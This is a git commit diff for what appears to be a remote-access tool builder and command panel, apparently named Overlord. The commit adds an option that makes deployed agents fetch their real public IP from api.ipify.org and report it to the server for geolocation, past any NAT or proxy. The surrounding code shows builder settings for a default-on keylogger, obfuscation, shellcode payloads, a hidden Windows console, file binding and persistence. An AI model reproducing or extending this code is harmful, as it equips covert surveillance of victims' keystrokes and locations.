optional public IP fetching

This commit is contained in:
KingKDot
2026-05-14 19:56:50 -05:00
parent 9c78483744
commit da3bec8de1
11 changed files with 85 additions and 1 deletions
+3
View File
@@ -127,6 +127,7 @@ function collectFormSettings() {
noPrinting: document.querySelector('input[name="no-printing"]')?.checked ?? false,
enableKeylogger: document.querySelector('input[name="enable-keylogger"]')?.checked ?? true,
enableWebrtc: document.querySelector('input[name="enable-webrtc"]')?.checked ?? false,
fetchPublicIP: document.querySelector('input[name="fetch-public-ip"]')?.checked ?? false,
obfuscate: document.querySelector('input[name="obfuscate"]')?.checked ?? false,
garbleLiterals: document.querySelector('input[name="garble-literals"]')?.checked ?? false,
garbleTiny: document.querySelector('input[name="garble-tiny"]')?.checked ?? false,
@@ -185,6 +186,7 @@ function applyFormSettings(settings) {
if (settings.noPrinting !== undefined) setCb('input[name="no-printing"]', settings.noPrinting);
if (settings.enableKeylogger !== undefined) setCb('input[name="enable-keylogger"]', settings.enableKeylogger);
if (settings.enableWebrtc !== undefined) setCb('input[name="enable-webrtc"]', settings.enableWebrtc);
if (settings.fetchPublicIP !== undefined) setCb('input[name="fetch-public-ip"]', settings.fetchPublicIP);
if (settings.obfuscate !== undefined) setCb('input[name="obfuscate"]', settings.obfuscate);
if (settings.garbleLiterals !== undefined) setCb('input[name="garble-literals"]', settings.garbleLiterals);
if (settings.garbleTiny !== undefined) setCb('input[name="garble-tiny"]', settings.garbleTiny);
@@ -1456,6 +1458,7 @@ form?.addEventListener("submit", async (e) => {
noPrinting,
disableKeylogger: !enableKeylogger,
enableWebrtc: form.querySelector('input[name="enable-webrtc"]')?.checked || false,
fetchPublicIP: form.querySelector('input[name="fetch-public-ip"]')?.checked || false,
outputName: outputNameVal || undefined,
garbleLiterals: obfuscate ? garbleLiterals : undefined,
garbleTiny: obfuscate ? garbleTiny : undefined,
+10
View File
@@ -449,6 +449,16 @@
</div>
</label>
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-amber-500 transition-colors">
<input type="checkbox" name="fetch-public-ip" class="w-4 h-4" />
<div class="flex flex-col">
<span class="flex items-center gap-2">
<i class="fa-solid fa-globe text-amber-400"></i> Fetch Real Public IP
</span>
<span class="text-xs text-slate-500">Agent queries <code>api.ipify.org</code> at connect time and reports the result as its IP. Bypasses NAT/proxy detection on the server side. Generates one outbound HTTPS request to a third party.</span>
</div>
</label>
</div>
</div>
</div>
+1
View File
@@ -31,6 +31,7 @@ export type Hello = {
country?: string;
publicKey?: string;
signature?: string;
publicIP?: string;
};
export type EnrollmentChallenge = {
@@ -113,6 +113,7 @@ type BuildProcessConfig = {
solAddress?: string;
solRpcEndpoints?: string;
iosBundleId?: string;
fetchPublicIP?: boolean;
};
@@ -831,6 +832,12 @@ func runBoundFiles() {
sendToStream({ type: "output", text: `Startup sleep: ${config.sleepSeconds}s\n`, level: "info" });
}
if (config.fetchPublicIP) {
const publicIPFlag = "-X overlord-client/cmd/agent/config.DefaultFetchPublicIP=true";
ldflags = ldflags ? `${ldflags} ${publicIPFlag}` : publicIPFlag;
sendToStream({ type: "output", text: "Public IP lookup enabled (api.ipify.org)\n", level: "info" });
}
if (config.hideConsole && os === "windows") {
const hideConsoleFlag = "-H=windowsgui";
ldflags = ldflags ? `${ldflags} ${hideConsoleFlag}` : hideConsoleFlag;
@@ -926,6 +933,7 @@ func runBoundFiles() {
if (hasBoundFiles) baseTags.push("hasbinder");
if (isIosTarget) baseTags.push("ios_target");
if (config.shellcodeConsole && isShellcodeMode && os === "windows") baseTags.push("shellcode_console");
if (config.fetchPublicIP) baseTags.push("fetch_public_ip");
// Windows persistence tags (omitted in shellcode mode — handled by two-pass below)
const winPersistTags: string[] = [];
@@ -115,6 +115,7 @@ export async function handleBuildRoutes(
useDonut,
useLinuxShellcode,
shellcodeConsole,
fetchPublicIP,
} = body;
if (!platforms || !Array.isArray(platforms) || platforms.length === 0) {
@@ -386,6 +387,7 @@ export async function handleBuildRoutes(
useDonut: !!useDonut,
useLinuxShellcode: !!useLinuxShellcode,
shellcodeConsole: !!shellcodeConsole,
fetchPublicIP: !!fetchPublicIP,
}).finally(() => {
if (rateLimitActive) recordBuildEnd(user.userId);
});
+5 -1
View File
@@ -110,6 +110,10 @@ export async function handleHello(
if (ip) {
info.ip = ip;
}
const reportedPublicIP = sanitizeInfoString((payload as any).publicIP, 64);
if (reportedPublicIP && /^[0-9a-fA-F:.]{3,45}$/.test(reportedPublicIP)) {
info.ip = reportedPublicIP;
}
info.hwid = sanitizeInfoString((payload as any).hwid);
info.host = sanitizeInfoString(payload.host);
info.os = sanitizeInfoString(payload.os);
@@ -139,7 +143,7 @@ export async function handleHello(
info.gpu = sanitizeInfoString((payload as any).gpu) || info.gpu;
info.ram = sanitizeInfoString((payload as any).ram, 64) || info.ram;
const geoip = await getGeoip();
const geo = ip ? geoip.lookup(ip) : undefined;
const geo = info.ip ? geoip.lookup(info.ip) : undefined;
const countryRaw =
geo?.country || (payload as any).country || info.country || "ZZ";
const country = /^[A-Z]{2}$/i.test(countryRaw)